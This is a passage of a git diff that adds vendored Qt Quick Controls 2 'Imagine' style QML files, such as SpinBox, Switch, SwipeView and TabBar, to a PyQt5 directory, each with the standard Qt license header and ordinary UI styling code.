http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.SpinBox { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentItem.implicitWidth + 2 * padding + + up.implicitIndicatorWidth + + down.implicitIndicatorWidth) + implicitHeight: Math.max(implicitContentHeight + topPadding + bottomPadding, + implicitBackgroundHeight, + up.implicitIndicatorHeight, + down.implicitIndicatorHeight) + + topPadding: background ? background.topPadding : 0 + leftPadding: (background ? background.leftPadding : 0) + (control.mirrored ? (up.indicator ? up.indicator.width : 0) : (down.indicator ? down.indicator.width : 0)) + rightPadding: (background ? background.rightPadding : 0) + (control.mirrored ? (down.indicator ? down.indicator.width : 0) : (up.indicator ? up.indicator.width : 0)) + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + validator: IntValidator { + locale: control.locale.name + bottom: Math.min(control.from, control.to) + top: Math.max(control.from, control.to) + } + + contentItem: TextInput { + z: 2 + text: control.displayText + opacity: control.enabled ? 1 : 0.3 + + font: control.font + color: control.palette.text + selectionColor: control.palette.highlight + selectedTextColor: control.palette.highlightedText + horizontalAlignment: Qt.AlignHCenter + verticalAlignment: Qt.AlignVCenter + + readOnly: !control.editable + validator: control.validator + inputMethodHints: control.inputMethodHints + + NinePatchImage { + z: -1 + width: control.width + height: control.height + visible: control.editable + + source: Imagine.url + "spinbox-editor" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"focused": control.activeFocus}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } + } + + up.indicator: NinePatchImage { + x: control.mirrored ? 0 : parent.width - width + height: parent.height + + source: Imagine.url + "spinbox-indicator" + NinePatchImageSelector on source { + states: [ + {"up": true}, + {"disabled": !control.up.indicator.enabled}, + {"editable": control.editable}, + {"pressed": control.up.pressed}, + {"focused": control.activeFocus}, + {"mirrored": control.mirrored}, + {"hovered": control.up.hovered} + ] + } + } + + down.indicator: NinePatchImage { + x: control.mirrored ? parent.width - width : 0 + height: parent.height + + source: Imagine.url + "spinbox-indicator" + NinePatchImageSelector on source { + states: [ + {"down": true}, + {"disabled": !control.down.indicator.enabled}, + {"editable": control.editable}, + {"pressed": control.down.pressed}, + {"focused": control.activeFocus}, + {"mirrored": control.mirrored}, + {"hovered": control.down.hovered} + ] + } + } + + background: NinePatchImage { + source: Imagine.url + "spinbox-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"editable": control.editable}, + {"focused": control.activeFocus}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/SplitView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/SplitView.qml new file mode 100644 index 00000000..a4a858f4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/SplitView.qml @@ -0,0 +1,63 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.13 +import QtQuick.Templates 2.13 as T +import QtQuick.Controls.Imagine 2.13 +import QtQuick.Controls.Imagine.impl 2.13 + +T.SplitView { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + handle: NinePatchImage { + source: Imagine.url + "splitview-handle" + NinePatchImageSelector on source { + states: [ + {"vertical": control.orientation === Qt.Vertical}, + {"horizontal":control.orientation === Qt.Horizontal}, + {"disabled": !control.enabled}, + {"pressed": T.SplitHandle.pressed}, + {"mirrored": control.mirrored}, + {"hovered": T.SplitHandle.hovered} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/StackView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/StackView.qml new file mode 100644 index 00000000..407b1d15 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/StackView.qml @@ -0,0 +1,91 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.StackView { + id: control + + implicitWidth: implicitBackgroundWidth + implicitHeight: implicitBackgroundHeight + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + popEnter: Transition { + XAnimator { from: (control.mirrored ? -1 : 1) * -control.width; to: 0; duration: 400; easing.type: Easing.OutCubic } + } + + popExit: Transition { + XAnimator { from: 0; to: (control.mirrored ? -1 : 1) * control.width; duration: 400; easing.type: Easing.OutCubic } + } + + pushEnter: Transition { + XAnimator { from: (control.mirrored ? -1 : 1) * control.width; to: 0; duration: 400; easing.type: Easing.OutCubic } + } + + pushExit: Transition { + XAnimator { from: 0; to: (control.mirrored ? -1 : 1) * -control.width; duration: 400; easing.type: Easing.OutCubic } + } + + replaceEnter: Transition { + XAnimator { from: (control.mirrored ? -1 : 1) * control.width; to: 0; duration: 400; easing.type: Easing.OutCubic } + } + + replaceExit: Transition { + XAnimator { from: 0; to: (control.mirrored ? -1 : 1) * -control.width; duration: 400; easing.type: Easing.OutCubic } + } + + background: NinePatchImage { + source: Imagine.url + "stackview-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"mirrored": control.mirrored} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/SwipeDelegate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/SwipeDelegate.qml new file mode 100644 index 00000000..3850253f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/SwipeDelegate.qml @@ -0,0 +1,96 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.SwipeDelegate { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + spacing: 12 // ### + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + icon.width: 24 + icon.height: 24 + icon.color: control.palette.text + + swipe.transition: Transition { SmoothedAnimation { velocity: 3; easing.type: Easing.InOutCubic } } + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: control.display === IconLabel.IconOnly || control.display === IconLabel.TextUnderIcon ? Qt.AlignCenter : Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: control.palette.text + } + + background: NinePatchImage { + source: Imagine.url + "swipedelegate-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.down}, + {"focused": control.visualFocus}, + {"highlighted": control.highlighted}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/SwipeView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/SwipeView.qml new file mode 100644 index 00000000..70d65fef --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/SwipeView.qml @@ -0,0 +1,90 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.SwipeView { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + contentItem: ListView { + model: control.contentModel + interactive: control.interactive + currentIndex: control.currentIndex + focus: control.focus + + spacing: control.spacing + orientation: control.orientation + snapMode: ListView.SnapOneItem + boundsBehavior: Flickable.StopAtBounds + + highlightRangeMode: ListView.StrictlyEnforceRange + preferredHighlightBegin: 0 + preferredHighlightEnd: 0 + highlightMoveDuration: 250 + } + + background: NinePatchImage { + source: Imagine.url + "swipeview-background" + NinePatchImageSelector on source { + states: [ + {"vertical": control.vertical}, + {"horizontal": control.horizontal}, + {"disabled": !control.enabled}, + {"interactive": control.interactive}, + {"focused": control.contentItem.activeFocus}, + {"mirrored": control.mirrored} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Switch.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Switch.qml new file mode 100644 index 00000000..50b407ac --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/Switch.qml @@ -0,0 +1,134 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.Switch { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + spacing: 6 // ### + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + indicator: NinePatchImage { + x: control.text ? (control.mirrored ? control.width - width - control.rightPadding : control.leftPadding) : control.leftPadding + (control.availableWidth - width) / 2 + y: control.topPadding + (control.availableHeight - height) / 2 + width: Math.max(implicitWidth, handle.leftPadding && handle.rightPadding ? handle.implicitWidth : 2 * handle.implicitWidth) + height: Math.max(implicitHeight, handle.implicitHeight) + + source: Imagine.url + "switch-indicator" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.down}, + {"checked": control.checked}, + {"focused": control.visualFocus}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + + property NinePatchImage handle: NinePatchImage { + readonly property real minPos: parent.leftPadding - leftPadding + readonly property real maxPos: parent.width - width + rightPadding - parent.rightPadding + readonly property real dragPos: control.visualPosition * parent.width - (width / 2) + + parent: control.indicator + + x: Math.max(minPos, Math.min(maxPos, control.visualPosition * parent.width - (width / 2))) + y: (parent.height - height) / 2 + + source: Imagine.url + "switch-handle" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.down}, + {"checked": control.checked}, + {"focused": control.visualFocus}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + + Behavior on x { + enabled: !control.down + SmoothedAnimation { velocity: 200 } + } + } + } + + contentItem: Text { + leftPadding: control.indicator && !control.mirrored ? control.indicator.width + control.spacing : 0 + rightPadding: control.indicator && control.mirrored ? control.indicator.width + control.spacing : 0 + + text: control.text + font: control.font + color: control.palette.windowText + elide: Text.ElideRight + verticalAlignment: Text.AlignVCenter + } + + background: NinePatchImage { + source: Imagine.url + "switch-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.down}, + {"checked": control.checked}, + {"focused": control.visualFocus}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/SwitchDelegate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/SwitchDelegate.qml new file mode 100644 index 00000000..73e5aac0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/SwitchDelegate.qml @@ -0,0 +1,147 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.SwitchDelegate { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + spacing: 12 // ### + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + icon.width: 24 + icon.height: 24 + icon.color: control.palette.text + + indicator: NinePatchImage { + x: control.text ? (control.mirrored ? control.leftPadding : control.width - width - control.rightPadding) : control.leftPadding + (control.availableWidth - width) / 2 + y: control.topPadding + (control.availableHeight - height) / 2 + width: Math.max(implicitWidth, handle.leftPadding && handle.rightPadding ? handle.implicitWidth : 2 * handle.implicitWidth) + height: Math.max(implicitHeight, handle.implicitHeight) + + source: Imagine.url + "switchdelegate-indicator" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.down}, + {"checked": control.checked}, + {"focused": control.visualFocus}, + {"highlighted": control.highlighted}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + + property NinePatchImage handle: NinePatchImage { + readonly property real minPos: parent.leftPadding - leftPadding + readonly property real maxPos: parent.width - width + rightPadding - parent.rightPadding + readonly property real dragPos: control.visualPosition * parent.width - (width / 2) + + parent: control.indicator + + x: Math.max(minPos, Math.min(maxPos, control.visualPosition * parent.width - (width / 2))) + y: (parent.height - height) / 2 + + source: Imagine.url + "switchdelegate-handle" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.down}, + {"checked": control.checked}, + {"focused": control.visualFocus}, + {"highlighted": control.highlighted}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + + Behavior on x { + enabled: !control.down + SmoothedAnimation { velocity: 200 } + } + } + } + + contentItem: IconLabel { + leftPadding: control.mirrored ? control.indicator.width + control.spacing : 0 + rightPadding: !control.mirrored ? control.indicator.width + control.spacing : 0 + + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: control.display === IconLabel.IconOnly || control.display === IconLabel.TextUnderIcon ? Qt.AlignCenter : Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: control.palette.text + } + + background: NinePatchImage { + source: Imagine.url + "switchdelegate-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"pressed": control.down}, + {"checked": control.checked}, + {"focused": control.visualFocus}, + {"highlighted": control.highlighted}, + {"mirrored": control.mirrored}, + {"hovered": control.hovered} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/TabBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/TabBar.qml new file mode 100644 index 00000000..69516e03 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/TabBar.qml @@ -0,0 +1,87 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.TabBar { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? background.rightPadding : 0 + bottomPadding: background ? background.bottomPadding : 0 + + topInset: background ? -background.topInset || 0 : 0 + leftInset: background ? -background.leftInset || 0 : 0 + rightInset: background ? -background.rightInset || 0 : 0 + bottomInset: background ? -background.bottomInset || 0 : 0 + + contentItem: ListView { + model: control.contentModel + currentIndex: control.currentIndex + + spacing: control.spacing + orientation: ListView.Horizontal + boundsBehavior: Flickable.StopAtBounds + flickableDirection: Flickable.AutoFlickIfNeeded + snapMode: ListView.SnapToItem + + highlightMoveDuration: 0 + highlightRangeMode: ListView.ApplyRange + preferredHighlightBegin: 48 + preferredHighlightEnd: width - 48 + } + + background: NinePatchImage { + source: Imagine.url + "tabbar-background" + NinePatchImageSelector on source { + states: [ + {"disabled": !control.enabled}, + {"header": control.position === T.TabBar.Header }, + {"footer": control.position === T.TabBar.Footer }, + {"mirrored": control.mirrored} + ] + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/TabButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/TabButton.qml new file mode 100644 index 00000000..1cdcfc4b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Imagine/TabButton.qml @@ -0,0 +1,92 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Imagine 2.12 +import QtQuick.Controls.Imagine.impl 2.12 + +T.TabButton { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + spacing: 6 // ### + + topPadding: background ? background.topPadding : 0 + leftPadding: background ? background.leftPadding : 0 + rightPadding: background ? 